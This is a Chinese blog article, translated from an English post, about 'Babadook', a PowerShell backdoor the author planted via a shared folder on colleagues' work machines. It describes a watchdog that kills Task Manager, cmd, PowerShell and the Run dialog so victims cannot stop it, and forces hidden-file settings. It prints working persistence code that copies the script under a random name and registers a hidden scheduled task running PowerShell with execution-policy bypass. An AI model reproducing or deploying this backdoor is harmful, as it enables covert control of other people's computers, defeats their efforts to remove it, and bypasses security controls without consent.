Babadook:无连接的powershell持续性反弹后门

项目主页

https://github.com/jseidl/Babadook

使用

翻译自:https://wroot.org/posts/babadook-connection-less-powershell-persistent-and-resilient-backdoor/

起因:

为了让同事提高安全意识。于是想着制作一个后门,来控制他们的机器,让他们长记性。

环境:

  • 机器之前没有直接的联系(vlan隔离)。
  • 用户只有访问的权限,没有管理权限,不能下载安装软件。
  • 使用了企业反病毒软件。

我的当前环境:

我使用的是win7,那么就可以利用powershell这个强大的东西。但面临的问题:无直连,无法开启socket。
因为我们是一个团队,所以我们有一个共享文件夹,那么这个共享文件夹可以被利用起来,我会放一个脚本在里面,简单有效。

5

通过共享文件夹解决了vlan隔离和杀软的问题,我加了一个Clear-Content模块,运行后自动清除。

多线程和监视模块。

我需要让我的后门的主线程等待指令,那么我加了多线程,我还创建了监视模块,当某段时间,变量为true的时候(被控端打开了任务管理器),循环结束任务管理器进程,忽略错误(错误是指当启动任务管理器的时候)。

我也对cmd, wscript 和cscript这些程序进行了同样的操作,目的是掩人耳目。

1

同样对vbs和bat的文件产生作用,当结束掉我后门进程之前没法让它完全加载。

后门工作了一段时间由于更新了GPO,阻止PowerShell远程处理,结果断掉了。

所以需要.net和powershell结合的漂亮一点,使原来的解决方案更加容易。

 

2

当我同事打算启动任务管理器的时候,我的监视程序立刻结束它,我的同事差点疯掉。

为了确保不会有人打开powershell试图结束进程,我的监视程序会判断打开的powershell是不是我的后门的子程序,如果不是,仍然结束掉。

3

我的同事仍然在拼命的想要结束我的后门。

有的人只是试图打开运行,然后来结束进程,这对我来说是烦恼的,所以我的阻止他们打开,“运行”这个对话框是内置的,而不是一个进程,不能用传统方式,所以我希望.net的扩展能够更多调用windows的api。

4

隐藏:

我怕我的脚本在共享文件夹中被人发现,并且添加代码使之对我的后门产生别的作用,所以我要向监视器中添加代码

6

最后一条是修改注册表不显示系统文件,这样的话,即使他们改成了显示,那么当在我的变量为true的时候,他会立即变成隐藏。

我自己也想了很多关于结束掉我的后门的方法,所以我针对这些方法,在我的监视器上面进行了响应的阻断策略

同事们可以创建taskkill的快捷方式,于是我对我的监视器进行了一些修改。

7

但是一旦重启了,就会都失效了,那么还要想办法,想到了注册表,可惜没管理员权限,于是想到了计划任务。
复制我的后门脚本以任意命名的方式到本地的机器,然后当每天8点的时候,开机的时候,闲置的时候,运行之。

function Babadook-Persist
{
 $CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
 $NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char]$_ } -End { $randStr }) + ".ps1"
 $NewPath = "$($env:LOCALAPPDATA)\$($NewName)"
 
 Install-Task $NewPath
 
}# end :: Babadook-Persist

function Install-Task ($BBDPath) {
 $CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `"$($BBDPath)`""
 $taskRunAsuser = [Environment]::UserDomainName +"\" + $env:USERNAME

$service = new-object -com("Schedule.Service")
 $service.Connect()
 $rootFolder = $service.GetFolder("\")

Try {

$rootFolder.GetTask("\Babadook") | Out-Null
 Log "Babadook persist task already installed"
 
 } Catch {
 
 Log "Copying Babadook to local machine at `"$($BBDPath)`""
 Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force
 Log "Installing Babadook persist task"

$taskDefinition = $service.NewTask(0)

$regInfo = $taskDefinition.RegistrationInfo
 $regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK'
 $regInfo.Author = $taskRunAsuser

$settings = $taskDefinition.Settings
 $settings.Enabled = $True
 $settings.StartWhenAvailable = $True
 $settings.Hidden = $True

$triggers = $taskDefinition.Triggers

# Triger time
 $triggerDaily = $triggers.Create(2)
 $triggerDaily.StartBoundary = "$(Get-Date -Format 'yyyy-mm-dd')T08:00:00"
 $triggerDaily.DaysInterval = 1
 $triggerDaily.Enabled = $True

# Trigger logon
 $triggerLogon = $triggers.Create(9)
 $triggerLogon.UserId = $taskRunAsUser
 $triggerLogon.Enabled = $True

# Trigger Idle
 $triggerIdle = $triggers.Create(6)
 $triggerIdle.Enabled = $True

$Action = $taskDefinition.Actions.Create(0)
 $Action.Path = 'powershell.exe'
 $Action.Arguments = $CommandArguments

$rootFolder.RegisterTaskDefinition( 'Babadook', $taskDefinition, 6, $null , $null, 3) | Out-Null
 
 }# end :: try/catch
}# End :: Install-Task

关于计划任务,了解更多请点击:https://msdn.microsoft.com/en-us/library/windows/desktop/aa383607(v=vs.85).aspx

目前为止看起来干的很漂亮,直到我觉得需要一些并发控制。

8

我得需要组织他们打开计划任务的对话框啊哈哈我真贱。于是我添加了一个if判断。

9

到目前为止,我就拥有了:

  • 无连接的后门
  • 监视器
  • 持久性
  • 并发控制

当然这些已经足够了。

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/tools/89554.html

发表评论

登录后才能评论

评论列表(1条)

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code